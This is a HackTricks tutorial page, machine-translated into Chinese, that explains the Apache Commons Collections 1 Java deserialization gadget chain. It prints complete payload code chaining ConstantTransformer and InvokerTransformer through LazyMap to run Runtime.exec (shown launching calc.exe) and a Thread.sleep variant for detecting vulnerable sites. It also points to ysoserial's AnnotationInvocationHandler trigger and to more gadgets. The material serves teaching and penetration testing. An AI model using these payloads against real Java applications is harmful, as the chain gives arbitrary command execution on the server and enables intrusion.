Chinese - Ht
HackTricks Training Twitter Linkedin Sponsor

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Java Transformers to Rutime exec()

在多个地方，你可以找到一个使用 Apache common collections 中变换器的 Java 反序列化有效负载，如下所示：

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

如果你对 Java 反序列化有效载荷一无所知，可能很难弄清楚为什么这段代码会执行一个 calc。

首先，你需要知道 Java 中的 Transformer 是一个 接收一个类 并 将其转换为另一个类 的东西。 此外，值得注意的是，这里被 执行 的 有效载荷 是 等价于：

Runtime.getRuntime().exec(new String[]{"calc.exe"});

或者更准确地说，最终将被执行的是：

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

如何

那么，为什么第一个有效载荷与那些“简单”的单行代码等效呢？

首先，您可以注意到在有效载荷中创建了一个 变换链（数组）：

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

如果你阅读代码，你会注意到，如果你以某种方式链接数组的转换，你将能够执行任意命令。

那么，这些转换是如何链接的？

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

在有效负载的最后部分，您可以看到一个 Map 对象被创建。然后，从 LazyMap 执行函数 decorate，传入 map 对象和链式转换器。从以下代码可以看出，这将导致 链式转换器 被复制到 lazyMap.factory 属性中：

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

然后伟大的结局被执行： lazyMap.get("anything");

这是 get 函数的代码：

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这是 transform 函数的代码

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以，请记住，在 factory 中我们保存了 chainedTransformer，在 transform 函数中，我们 遍历所有这些链式变换器 并一个接一个地执行它们。有趣的是，每个变换器都使用 object 作为输入，而 object 是上一个执行的变换器的输出。因此，所有的变换都是链式执行恶意有效载荷。

摘要

最后，由于 lazyMap 在 get 方法中管理链式变换器的方式，就像我们在执行以下代码一样：

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

注意 value 是每个转换的输入和前一个转换的输出，从而允许执行一行代码：

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

注意这里解释了用于ComonsCollections1有效负载的gadget。但如何开始执行这一切仍然没有说明。你可以在这里看到ysoserial，为了执行这个有效负载，它使用了一个AnnotationInvocationHandler对象，因为当这个对象被反序列化时，它将调用payload.get()函数，这将执行整个有效负载。

Java 线程休眠

这个有效负载可能有助于识别网站是否存在漏洞，因为如果存在漏洞，它将执行休眠。

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

更多小工具

您可以在这里找到更多小工具: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
PreviousPHP - Deserialization + Autoload ClassesNextBasic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Last updated